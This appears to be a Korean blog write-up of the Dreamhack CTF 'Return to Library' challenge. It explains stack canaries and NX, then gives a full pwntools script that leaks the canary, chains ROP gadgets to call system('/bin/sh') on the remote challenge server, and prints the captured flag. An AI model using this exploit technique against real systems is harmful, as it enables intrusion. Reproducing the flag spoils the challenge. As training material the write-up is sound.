콘텐츠로 건너뛰기

Return to Library

Description

Exploit Tech: Return to Library에서 실습하는 문제입니다.

Files

ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Return_to_Library$ file rtl
rtl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b9c3abd745cccbfbd94ffea0231133838853c9ae, not stripped

리눅스 64비트용 실행 파일인 rtl

분석

ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Return_to_Library$ checksec rtl
[*] '/home/ubuntu/Desktop/dreamhack-CTF/Return_to_Library/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

스택 카나리 보호 기법이 적용되어있는데, 이번에는 NX 보호기법까지 적용되어있다.

NX 보호기법이란,
메모리 공간의 실행 권한을 뺐는 것.
이는 스택뿐만 아니라 힙 영역도 포함된다.
따라서 우리가 쉘 코드를 삽입했던 스택 영역의 실행 권한을 제거하여 쉘 코드 삽입을 무력화시킨다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  system("echo 'system@plt");
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100uLL);
  printf("Buf: %s\n", buf);
  puts("[2] Overwrite return address");
  printf("Buf: ");
  read(0, buf, 0x100uLL);
  return 0;
}

스택은 아래와 같이 나타낼 수 있다.

main() ret address, 8 byte
————————————–
이전 함수의 base pointer, 8 byte <- rbp
————————————–
Canary, 8 byte <- rbp-8
————————————–
buf, 56byte <- rbp-64


버퍼 오버플로우를 통해 플래그를 얻을 수 있다.

처음 buf 입력받을때: 스택 카나리의 \x00 1바이트 값을 덮어써서 유출시키게 만들고,
두번째로 buf 입력받을때: RTL 기법으로 쉘을 획득할 수 있다.

여기서 RTL (Return To Library, Return-into-libc 기법)이란?
역시 overflow 공격에 기반하며, 버퍼를 overflow시켜 return address를 조작하여 실행의 흐름을 libc 영역으로 돌려서 원하는 libc 함수를 수행시키게 만든다.
ASLR 보호기법이 적용되지 않은 경우, libc의 주소는 변하지 않아 이 라이브러리에 있는 system 함수를 사용하면 될 것이다.

여기서는 rtl 바이너리만으로 안에 있는 system plt를 이용하여 공격하고자 한다.

따라서 공격 페이로드를 짜보면 다음과 같다.

처음으로 buf 입력받을시 (스택 카나리 유출을 위해서):
(buf에 채울 56바이트 더미 데이터) + (스택 카나리 \x00에 덮을 1바이트 더미 데이터)

두번째로 buf 입력받을시 (쉘 획득을 위해서):
(buf에 채울 56바이트 더미 데이터) + (스택 카나리 8바이트) + (8바이트 더미 데이터) + ret 주소 + pop rdi; ret 주소 + “/bin/sh” 주소 + system plt 주소

Solution

from pwn import *

context.log_level = 'debug'

#p = process('./rtl')
p = remote('host3.dreamhack.games', 19496)
context(arch='amd64',os='linux')

payload = b"\x41"*57
p.recvuntil('Buf: ');
p.send(payload)

canary = p.recvline().split(payload)[1][:7]
canary = b"\x00" + canary
canary = u64(canary)
print("[+] Got Canary: " + hex(canary))

payload2 = b"\x41"*56
payload2 += p64(canary)
payload2 +=  b"\x41" * 8

e = ELF("./rtl")
r = ROP(e)
system_plt = e.symbols['system']
sh = next(e.search(b'/bin/sh'))
pop_rdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
print("[+] system_plt: " + hex(system_plt));
print("[+] sh: " + hex(sh));
print("[+] pop_rdi: " + hex(pop_rdi));
print("[+] ret: " + hex(ret));

payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(sh)
payload2 += p64(system_plt)

p.send(payload2)

p.interactive()

FLAG

DH{13e0d0ddf0c71c0ac4410687c11e6b00}

ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Return_to_Library$ python3 pwnx.py
[+] Opening connection to host3.dreamhack.games on port 19496: Done
[DEBUG] Received 0xf bytes:
    b'[1] Leak Canary'
[DEBUG] Received 0x6 bytes:
    b'\n'
    b'Buf: '
[DEBUG] Sent 0x39 bytes:
    b'A' * 0x39
[DEBUG] Received 0x49 bytes:
    00000000  42 75 66 3a  20 41 41 41  41 41 41 41  41 41 41 41  │Buf:│ AAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 5f 9c  │AAAA│AAAA│AAAA│AA_·│
    00000040  dc a4 d0 fe  fd f0 07 40  0a                        │····│···@│·│
    00000049
[+] Got Canary: 0xfdfed0a4dc9c5f00
[*] '/home/ubuntu/Desktop/dreamhack-CTF/Return_to_Library/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rtl'
[+] system_plt: 0x4005d0
[+] sh: 0x400874
[+] pop_rdi: 0x400853
[+] ret: 0x400285
[DEBUG] Sent 0x68 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  41 41 41 41  41 41 41 41  00 5f 9c dc  a4 d0 fe fd  │AAAA│AAAA│·_··│····│
    00000040  41 41 41 41  41 41 41 41  85 02 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  53 08 40 00  00 00 00 00  74 08 40 00  00 00 00 00  │S·@·│····│t·@·│····│
    00000060  d0 05 40 00  00 00 00 00                            │··@·│····│
    00000068
[*] Switching to interactive mode
[DEBUG] Received 0x22 bytes:
    b'[2] Overwrite return address\n'
    b'Buf: '
[2] Overwrite return address
Buf: $ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x10 bytes:
    b'flag\n'
    b'rtl\n'
    b'run.sh\n'
flag
rtl
run.sh
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x25 bytes:
    b'DH{13e0d0ddf0c71c0ac4410687c11e6b00}\n'
DH{13e0d0ddf0c71c0ac4410687c11e6b00}

답글 남기기